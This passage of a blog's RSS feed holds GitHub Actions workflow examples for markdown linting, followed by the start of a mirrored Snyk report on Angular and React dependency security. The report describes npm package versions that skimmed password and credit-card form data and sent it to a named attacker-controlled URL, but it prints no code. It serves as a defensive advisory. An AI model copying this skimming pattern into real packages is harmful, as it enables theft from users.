&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;runs-on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;steps&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Checkout repo for a local instance&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;actions/checkout@v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Deps: show dependencies metadata&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;lirantal/github-action-new-dependencies-alerts@v1.1.0&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;token&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;${{ secrets.GITHUB_TOKEN }}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;markdown-style-linter&quot;&gt;Markdown Style linter&lt;/h3&gt;
&lt;p&gt;If a markdown file doesn’t confirm to proper style conventions then we can find out about it in the Pull Request CI phase rather than after we see it “in production”, or in other words, showing up to the whole world as the face of the repository:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/p50ksjc8aa2oa5wnzjh5.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;To make that magic happen, we create a brand new GitHub Action workflow file and add this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Markdown: style&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;jobs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;markdown_lint&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Markdown: style&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;runs-on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;steps&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;actions/checkout@v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Markdown: style&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;ruzickap/action-my-markdown-linter@v1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;with&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;config_file&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;.github/markdown-style-config.yml&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;#debug: true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;search_paths&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            ./&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            docs/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;          &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;exclude&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #FF7B72&quot;&gt;|&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            node_modules/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            coverage/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            dist/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            tests/&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;            CHANGELOG.md&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And make sure that you have the accompanying configuration file for it as such:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Default state for all rules&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;default&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# MD033/no-inline-html - Inline HTML&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;MD033&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Allowed elements&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;allowed_elements&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: [&lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;p&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;br&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;h1&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;h2&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;h3&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;h4&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;a&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&apos;img&apos;&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Don&apos;t fail on line length limit of 80 chars&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;MD013&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #8B949E&quot;&gt;# Don&apos;t fail on first line of the file not being a markdown heading (maintainers like beautiful READMEs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;MD041&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;false&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h3 id=&quot;markdown-links-linter&quot;&gt;Markdown Links linter&lt;/h3&gt;
&lt;p&gt;Want to avoid broken links in your README? Me too&lt;/p&gt;
&lt;p&gt;That’s why I can now find out about it when it happens in the CI process when I push a change via a pull request rather than after the fact:&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/5ohpwmtaceomwoxv153u.png&quot; alt=&quot;Image description&quot;&gt;&lt;/p&gt;
&lt;p&gt;To make that magic happen, we create a brand new GitHub Action workflow file and add this:&lt;/p&gt;
&lt;pre is:raw=&quot;&quot; class=&quot;astro-code&quot; style=&quot;background-color: #0d1117; overflow-x: auto; white-space: pre-wrap; word-wrap: break-word;&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #79C0FF&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;push&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Markdown: broken links&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;jobs&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;  &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;markdown-link-check&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Markdown: broken links&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;runs-on&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;ubuntu-latest&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;    &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;steps&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;:&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Checkout project&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;actions/checkout@v2&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;      - &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;name&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;&quot;Markdown: broken links&quot;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;        &lt;/span&gt;&lt;span style=&quot;color: #7EE787&quot;&gt;uses&lt;/span&gt;&lt;span style=&quot;color: #C9D1D9&quot;&gt;: &lt;/span&gt;&lt;span style=&quot;color: #A5D6FF&quot;&gt;ruzickap/action-my-markdown-link-checker@v1&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That’s it, have fun!&lt;/p&gt;</content:encoded></item><item><title>Angular vs React: the security risk of indirect dependencies</title><link>https://lirantal.com/blog/angular-vs-react-the-security-risk-of-indirect-dependencies-snyk-af83b24d429e/</link><guid>https://lirantal.com/blog/angular-vs-react-the-security-risk-of-indirect-dependencies-snyk-af83b24d429e/</guid><description>This is a blog mirror of Snyk’s State of JavaScript frameworks security report 2019.</description><pubDate>Wed, 30 Oct 2019 00:01:37 GMT</pubDate><content:encoded>&lt;p&gt;In this section, we review the security risk of the indirect independencies for both Angular and React, and then we also review the direct dependencies, first for Angular and then for React.&lt;/p&gt;
&lt;p&gt;The modules reviewed in this part do not represent a complete list of vulnerable React and Angular modules; some modules may have special naming conventions (such as all modules prefixed , , or for example) that would not appear in the pattern-based search we conducted.&lt;/p&gt;
&lt;h3 id=&quot;the-security-risk-of-indirect-dependencies&quot;&gt;The security risk of indirect dependencies&lt;/h3&gt;
&lt;p&gt;More often than not, projects based on React or Angular are generated with a scaffolding tool that provides a boilerplate with which to begin developing. With React, the developer go-to practice is to use the &lt;strong&gt;create-react-app&lt;/strong&gt; npm package that creates a pre-configured project starting point, such as by implementing the Jest testing framework, CSS processors and other already built-in tooling. In Angular, this is made possible thanks to the &lt;strong&gt;@angular/cli&lt;/strong&gt; npm package.&lt;/p&gt;
&lt;p&gt;To compare the dependency health and state of the security (which reflect the level of overall security risk) for React and Angular boilerplates, we generated a sample project which resulted in rather good news — both of them include development dependencies with vulnerabilities, but neither contain any production dependency security issues.&lt;/p&gt;
&lt;p&gt;Following are the security vulnerabilities that are introduced in your code right from the get-go when starting a project by using the Angular or React boilerplate:&lt;/p&gt;
&lt;p&gt;It’s worthy to note that Angular relies on 952 dependencies, which contain a total of two vulnerabilities; React relies on 1257 dependencies, containing three vulnerabilities and one potential license compatibility issue.&lt;/p&gt;
&lt;h3 id=&quot;a-note-about-software-licenses-in-opensource&quot;&gt;A note about software licenses in open source&lt;/h3&gt;
&lt;p&gt;With regards to licensing, we consider license compliance to be an important factor in overall dependency health, in addition to security issues, and for this reason include license checks in our scans as well. The results we received for licensing were based on the default configurations that were defined for our license policies prior to scanning.&lt;/p&gt;
&lt;p&gt;Based on those results, we can see that the generated React project has a dependency on the mdn-data package, which in turn makes use of Mozilla’s copyleft license MPL-2.0. If you plan to distribute your React application with on-prem installations or other similar setups that include the mdn-data dependency, then you should check licensing requirements to make sure your project complies.&lt;/p&gt;
&lt;p&gt;Additionally, we advise ensuring your projects are scanned based on the advice you receive from your organization’s unique policies, which may or may not raise flags for additional indirect dependencies of React as well.&lt;/p&gt;
&lt;h3 id=&quot;remediating-vulnerable-paths&quot;&gt;Remediating vulnerable paths&lt;/h3&gt;
&lt;p&gt;A path describes how an open source dependency is introduced to your project. For instance, let’s say you have two direct dependencies called Project A and Project B. Both of these projects introduce dependency, Project C. Project C is now associated with two different paths, because it is installed by both Project A and Project B. If Project C includes vulnerabilities, a developer must consider both of these paths in order to remediate the vulnerabilities.&lt;/p&gt;
&lt;p&gt;With React, the three vulnerabilities spread over 16,293 vulnerable paths. Remediating the vulnerability via package upgrades becomes a daunting task with so many packages in the dependency chain that require an upgrade. In contrast, both Angular’s vulnerabilities are remediated easily via only two vulnerable paths.&lt;/p&gt;
&lt;p&gt;The following image was taken from an August 2019 security scan report for a project generated with React’s create-react-app npm package. The report reveals the dependency chain problem to be addressed for a single security vulnerability.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__TlXimBjBlAlzcOBq.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;Remediating the vulnerability requires pulling new versions of lodash from every single one of the affected packages in the entire dependency chain.&lt;/p&gt;
&lt;p&gt;Due to the prominent usage of lodash throughout the ecosystem, its vulnerable version is ultimately used by thousands of dependency paths.&lt;/p&gt;
&lt;h3 id=&quot;vulnerabilities-in-the-angular-module-ecosystem&quot;&gt;Vulnerabilities in the Angular module ecosystem&lt;/h3&gt;
&lt;p&gt;In the Angular ecosystem, module vulnerabilities manifest themselves in three areas:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Angular ecosystem modules&lt;/li&gt;
&lt;li&gt;Malicious versions of modules&lt;/li&gt;
&lt;li&gt;Developer tooling When we look at the Angular module ecosystem, we can see the following modules stand out most due to their download counts and associated vulnerabilities:&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;If we line up the vulnerability types based on the number of downloads of the modules that contain them, we can clearly see that XSS vulnerabilities are at the head of the chart, as is also indicated in the &lt;em&gt;OWASP Top 10 web security risks to watch out for:&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__Z6N__O__PBRBX1XWrX.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;h3 id=&quot;malicious-angularmodules&quot;&gt;Malicious Angular modules&lt;/h3&gt;
&lt;p&gt;In total, we were able to track down three malicious versions published for the following angular modules: &lt;a href=&quot;https://snyk.io/vuln/npm:angular-bmap&quot;&gt;angular-bmap&lt;/a&gt;, &lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-NGUILIBRARY-449527&quot;&gt;ng-ui-library&lt;/a&gt;, &lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-NGXPICA-449519&quot;&gt;ngx-pica&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;angular-bmap is perhaps the least interesting as can be observed in its &lt;a href=&quot;https://snyk.io/vuln/npm:angular-bmap&quot;&gt;dependency health page&lt;/a&gt; — it features eight published versions all date back to September 2017. Nevertheless, a 0.0.9 version of angular-bmap has been published that includes malicious code that exfiltrates sensitive information related to password and credit cards from forms and sends them off to the attacker controlled URL of &lt;a href=&quot;https://js-metrics.com/minjs.&quot;&gt;https://js-metrics.com/minjs.&lt;/a&gt; php?pl=. This malicious 0.0.9 version has been yanked off of the npm registry.&lt;/p&gt;
&lt;p&gt;Unlike the Angular bmap module, &lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-NGUILIBRARY-449527&quot;&gt;ng-ui-library&lt;/a&gt; is still maintained and features over &lt;a href=&quot;https://snyk.io/vuln/npm:ng-ui-library&quot;&gt;150 versions published&lt;/a&gt;, seven of them in 2019 alone. However, ng-ui-library version 1.0.987 specifically has been found to contain the same malicious code that we’ve seen in angular-bmap. ng-ui-library still gets nearly 400–3000 downloads a month.&lt;/p&gt;
&lt;p&gt;Joining the same malicious code that harvests credit card information is a malicious version of &lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-NGXPICA-449519&quot;&gt;ngx-pica&lt;/a&gt;, which is an Angular v5 and Angular v7 compatible module to resize images in the browser, featuring about 800 monthly downloads.&lt;/p&gt;
&lt;p&gt;Interestingly enough, all of these malicious versions were only found recently. They were all disclosed in June 2019, even though the malicious code was pushed in a month-old release by that time.&lt;/p&gt;
&lt;h3 id=&quot;angular-developer-tooling&quot;&gt;Angular developer tooling&lt;/h3&gt;
&lt;p&gt;As part of the module ecosystem findings, we spotted one module that is used as a general- purpose HTTP server for serving single-page application resources for projects built with Angular, React, Vue and others.&lt;/p&gt;
&lt;p&gt;The module &lt;a href=&quot;https://snyk.io/vuln/npm:angular-http-server&quot;&gt;angular-http-server&lt;/a&gt; was found vulnerable to directory traversal — twice. Both vulnerable versions are a year old and there are already a half of a dozen newer versions published. Even though the module maintainer clearly states that it is not recommended to use this tool as a production-ready service, downloads for it have been ramping up this year with a recorded downloads count of 20,670 in May 2019.&lt;/p&gt;
&lt;p&gt;Due to the growing adoption of this Angular HTTP server developer tool we should point out that there’s a public exploit for this vulnerability.&lt;/p&gt;
&lt;h3 id=&quot;vulnerabilities-in-the-react-module-ecosystem&quot;&gt;Vulnerabilities in the React module ecosystem&lt;/h3&gt;
&lt;p&gt;As with Angular, we found that the React ecosystem includes several malicious modules published at some point. The following represents the distribution of security vulnerability types and their counts across all vulnerable modules that we found, highlighting specifically four malicious packages &lt;a href=&quot;https://snyk.io/vuln/npm:react-datepicker-plus&quot;&gt;react-datepicker- plus&lt;/a&gt;, &lt;a href=&quot;https://snyk.io/vuln/npm:react-dates-sc&quot;&gt;react-dates-sc&lt;/a&gt;, &lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-AWESOMEREACTUTILITY-451009&quot;&gt;awesome_react_utility&lt;/a&gt;, &lt;a href=&quot;https://snyk.io/vuln/SNYK-JS-REACTSERVERNATIVE-450976&quot;&gt;react- server-native&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;All four malicious modules have the same malicious code that harvests credit card and other sensitive information; this attack compromised modules on the React ecosystem as well.&lt;/p&gt;
&lt;p&gt;This goes further to emphasize that as a maintainer of an open source project it is critical to enable multi- factor authentication such as 2FA support that the npm package registry supports, to avoid putting your users at risk of someone else compromising your account and publishing malicious versions of your package.&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/images/blog/0__jbbA__Yhine99zGBX.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;
&lt;p&gt;If you haven’t done so yet, we urge you to enable 2FA on your npmjs.org developer account and follow other &lt;a href=&quot;https://snyk.io/blog/ten-npm-security-best-practices/&quot;&gt;npm security best practices&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Notable vulnerable modules that we tracked in React’s ecosystem:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;A high severity XSS vulnerability in &lt;a href=&quot;https://snyk.io/vuln/npm:react-marked-markdown&quot;&gt;react-marked-markdown&lt;/a&gt; which has no fix available, but this react component wrapper around the &lt;a href=&quot;https://snyk.io/vuln/search?q=marked&amp;#x26;type=npm&quot;&gt;marked&lt;/a&gt; JavaScript markdown library still gets thousands of downloads, totaling 65,790 in the past 12 months.&lt;/li&gt;
&lt;li&gt;For the preact users among you, the &lt;a href=&quot;https://snyk.io/vuln/npm:preact-render-to-string:20180802&quot;&gt;preact-render-to-string&lt;/a&gt; library is vulnerable to Cross-Site Scripting in all versions prior to 3.7.2. This library is growing in usage across the last 12 months and totaling in 3,228,049 downloads for this time-frame.&lt;/li&gt;
